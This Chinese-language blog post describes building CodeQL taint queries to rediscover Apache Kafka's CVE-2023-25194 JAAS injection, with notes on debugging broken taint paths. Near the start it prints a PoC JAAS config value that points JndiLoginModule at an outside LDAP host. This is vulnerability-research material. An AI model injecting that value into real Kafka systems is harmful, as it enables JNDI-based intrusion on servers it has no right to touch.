CVE-2023-25194 是jaas 的通用问题,如果可以自定义jaas config,就可以触发漏洞。是否能够通过自动化发现该漏洞?如果可能,那么也就可以自动化横向分析类似问题。
本文假设读者师傅们已经能够简单使用codeql,比如codeql的source\sink概念,以及data-flow污点分析及其isAdditionalTaintStep的使用。
0x01 CVE-2023-25194
POC:com.sun.security.auth.module.JndiLoginModule required user.provider.url="ldap://kafka2.1.dns.m0d9.me
1.1 LoginContext
1 | public class LoginContext { |
1.2 JndiLoginModule
1 | public class JndiLoginModule implements LoginModule { |
1.3 调用栈
1 | attemptAuthentication:502, JndiLoginModule (com.sun.security.auth.module) |
0x02 CodeQL 初探
2.1 Sink
如上文,sink点是LoginContext构造函数的第四个参数
1 | override predicate isSink(DataFlow::Node sink) { |
2.2 Source
kafka 遵循JAX-RS实现的REST API,codeql 暂不支持此类source,需要自己实现。
以ConnectorsResource.java 为例
1 | import javax.ws.rs.Path; |
有PATH修饰的方法的参数,我们认为其为污点传播source点。
1 | private class JavaxWSRSSource extends RemoteFlowSource { |
Tips: src instanceof RemoteFlowSource, 包含了RemoteFlowSource的子类
2.3 First Try
1 | /** |
妥妥的,毫无疑问,不会有结果
0x03 How to Debug CodeQL?
中间节点断开是codeql 常见的问题,可以通过isAdditionalTaintStep 将断掉的污点链串起来。
问题是如何判断污点链在哪里断掉的?
- 好消息是官方提供了partial flow 方式进行对data-flow 的Debug,参考【1】
- 坏消息是官方提供demo语法太老了,不支持新的codeql
3.1 partial flow - Old
partial flow支持正向搜索与反向搜索,以正向搜索为例,它的污点不关心是否sink,会一直传播,直到到达explorationLimit或者传播不下去,才会停止。
1 | /** |
- 反向搜索用hasPartialFlowRev
- explorationLimit 是最大的传播深度
3.2 partial flow - New
具体版本未考证,codeql 2.13.1已经不支持以上的方式,如果要用partial flow调试,可以参考以下的例子。
1 | /** |
- partial flow 结果也不可全信,原因未知
- explorationLimit 可以从小往大依次尝试,可以从5开始,很容易结果多达几个G
- VScode的结果不方便搜索,可以直搜索sarif/csv结果
- 猜测可能类似最短路径之类的搜索算法,如果有更短的路径,就会丢弃更复杂的,会造成遗漏,可以用isSanitizer 来进行过滤
3.3 Manual Debug
当partial flow也无效果时,那么只能尝试最笨的办法了,自己替换isSource / isSink 的条件,选择对应调用栈中的Expr,依次排查。
Trick: 限制污点位置
1 | # 限制sink点在某个类内 |
0x04 Run CodeQL
4.1 Backward Analysis
选择调用栈的一个中间节点,以LoginManager#acquireLoginManager第一个参数config作为source点。
4.1.1 LoginManager#acquireLoginManager
1 | /** |
结论:LoginManager#acquireLoginManager的第一个参数config 可以最终传递给最终sink点
4.1.2 SaslChannelBuilder#configure
configs参数
继续往上回溯一级,到SaslChannelBuilder#configure的第一个参数configs,将source改成
1 | JAASSource(){ |
再次运行无结果
这是因为仅仅SaslChannelBuilder#configure 参数configs 是不够的,实际的污点应该是SaslChannelBuilder#jaasContexts 属性,在单步定位的时候,需要注意此类问题,具体是哪个参数是污点。
jaasContexts 属性
1 | JAASSource(){ |
再次运行仍然无结果。
基本可以判断是SaslChannelBuilder#configure 这一步污点断了
Confuse: 1+1 != 2
试试SaslChannelBuilder#configure 能否到 LoginManager#acquireLoginManager。
1 | JAASSource(){ |
疑问:SaslChannelBuilder#configure -> LoginManager#acquireLoginManager -> LoginContext(,,,configuration) 单步都可以,为什么合起来就不行?
思路:
- 排查当前合并起来不连通的问题
- 继续往上尝试
4.1.3 ChannelBuilders#create
继续往上回溯一级,到ChannelBuilders#create,试试
ChannelBuilders#create -> LoginContext(,,,configuration)
1 | JAASSource(){ |
运行无结果
ChannelBuilders#create -> LoginManager#acquireLoginManager
1 | private class JAASSource extends RemoteFlowSource { |
运行也无果。
4.2 Forward Analysis
换个思路,看看JAX-RS的污点能传到哪
4.2.1 StandaloneHerder#createConnectorTasks
1 | JAASSource(){ |
4.2.2 StandaloneHerder#startTask
1 | override predicate isSink(DataFlow::Node sink) { |
运行无结果。
0x05 Failed Partial Debug Experience
总结下遇到的3个问题
- JAXRSWSSource 只能传播到StandaloneHerder#createConnectorTasks,但是到不了StandaloneHerder#startTask
- LoginManager#acquireLoginManager可以到最终的sink LoginContext(,,,Configuration),但是ChannelBuilders#create 到不了LoginManager#acquireLoginManager
- SaslChannelBuilder 到不了LoginContext(,,,Configuration),但是可以到LoginManager#acquireLoginManager
针对问题2,用Codeql Debug 来定位具体传播断点。
5.1 ChannelBuilders#create
1 | private static ChannelBuilder create(SecurityProtocol securityProtocol, |
结论:没有走出channelBuilderConfigs?
channelBuilderConfigs
valuesWithPrefixOverride
疑点
- valuesWithPrefixOverride 是当作map的一个元素,是否能够继续污点传播
- config entryset filter 这种语法,是否还能够支持。
5.2 补充channelBuilderConfigs
1 | override predicate isAdditionalTaintStep(DataFlow::Node fromNode, DataFlow::Node toNode) { |
发现还是不行
5.3 Partial Debug Again
1 | predicate isSource(DataFlow::Node source) { |
发现并未传播至jaasContext
5.4 ChannelBuilders#create -> LoginManager#acquireLoginManager
isAdditionalTaintStep 继续加上loadServerContext
1 | /** |
虽然走通了ChannelBuilders#create -> LoginManager#acquireLoginManager,但是还存在问题
- 事后发现拿掉isAdditionalTaintStep条件1channelBuilderConfigs也行
- 后续到LoginContext(,,,Configuration) 还是不能串起来
结论:
- Partial Debug结果不可全信
0x06 “Dumb” Way to Debug
除以上Partial Debug 结果不全的结论外,其搜索结果如果不加限制,在这个case上sarif 结果动则上G,搜索也困难,改用Expr.getLocation().getFile() 限制sink 所属文件进行尝试。
6.1 Sink Expr in JaasContext
1 | JAASSource(){ |
- 可以看到,没有用isAdditionalTaintStep,就可以到JaasConfig
注意:实际污点应该是configuration,而不是dynamicJaasConfig
6.2 Discovery: StreamTokenizer
发现:
- dynamicJaasConfig已经被打标成污点
- 但是实际的污点JaasContext#configuration 并未被打标成污点
- 只隔了一条语句:
new JaasConfig(globalContextName, dynamicJaasConfig.value());
1 | public JaasConfig(String loginContextName, String jaasConfigParams) { |
继续看看,将JaasConfig作为sink文件
1 | sink.asExpr().getLocation().getFile().getRelativePath().matches("%JaasConfig.java") |
到这里发现tokenizer 没有被污染,StringReader 不大可能,基本可以定位是StreamTokenizer 的问题。
6.2.3 Add StreamTokenizer Support
1 | override predicate isAdditionalTaintStep(DataFlow::Node fromNode, DataFlow::Node toNode) { |
继续排查,发现在这里断掉了
6.2.4 Add AppConfigurationEntry Support
1 | override predicate isAdditionalTaintStep(DataFlow::Node fromNode, DataFlow::Node toNode) { |
增加以上条件,再次运行
6.2.5 Confuse: Only KerberosLogin?
观察路径,发现已经有到KerberosLogin configuration 的节点,但是并无到AbstractLogin的 configuration,而AbstractLogin 的configuration 就是最终的sink点。[黑人问号???]
继续尝试,如果把sink点条件改为以下,会发现都不是想要的
- LoginContext
- AbstractLogin
Why?
0x07 Taint O != Taint O.field
7.1 Simple Demo
1 | public class DemoNoneField { |
1 | /** |
运行会发现并无结果,实际上即使给DemoNoneField加上toString,对这个codeql query结果也没有影响,因为在codeql中,Object和Object.field 属于是不同的污点。
7.2 Implicit Flow
参考【4】中的解释
隐式流:隐式流分析是分析污点标记如何随程序中变量之间的控制依赖关系传播,也就是分析污点标记如何从条件指令传播到其所控制的语句。
显式流:显式流分析就是分析污点标记如何随程序中变量之间的数据依赖关系传播。也就是所谓的数据流传播。
7.3 CodeQL allowImplicitRead
predicate allowImplicitRead ( Node node , ContentSet c )
字面意思是隐式读,个人理解是用于判断节点Node及其内部属性的传播关系,和传统意义的隐式流分析还有些不一样。
- Node 是DataFlow::Node,数据流分析的任意节点即可
- ContentSet 有以下类型
- FieldContent
- ArrayContent
- CollectionContent
- MapKeyContent
- MapValueContent
- SyntheticFieldContent
1 | override predicate allowImplicitRead(DataFlow::Node node, DataFlow::ContentSet c) { |
0x08 Ultimate Success
8.1 Apply allowImplicitRead
上一节中,codeql 对于进入KerberosLogin configure的参数污点描述如下
configuration : JaasConfig [configEntries, <element>] : AppConfigurationEntry
个人理解如下:
- configuration:污点参数名
- JaasConfig [configEntries, <element>]: 参数类型为JaasConfig,其Field有configEntries,是个Collection,<element>里面的才是污点
- AppConfigurationEntry:污点的类型
1 | override predicate allowImplicitRead(DataFlow::Node node, DataFlow::ContentSet c) { |
小疑问:实际上是两层JaasConfig.configEntries[AppConfigurationEntry],从结果反馈来看这种写法是ok的,写法上实际只有一层,为什么可以?
8.2 Final QL
1 | /** |
0x09 小结
本文尝试使用CodeQL 回溯发现Apache Kafka CVE-2023-25194漏洞,期间遇到了一些问题,一是官方推荐的parittal flow 方式在此并不适合,还不如用Expr.getLocation().getFile()限制文件来得方便;二是隐式链的传播,这块很少有文档,除非看过参考【2】中类似l3yx师傅的案例,或者看ql源码。
CodeQL 不开源,能力有限,若有不对肯请指出,盼师傅们交流。
其实还有些遗留问题
- 最终的污点链实际上和真实的调用栈还是有出入的
- 4.1.2一节中1+1!=2 也没解释
- CVE-2023-25194 ??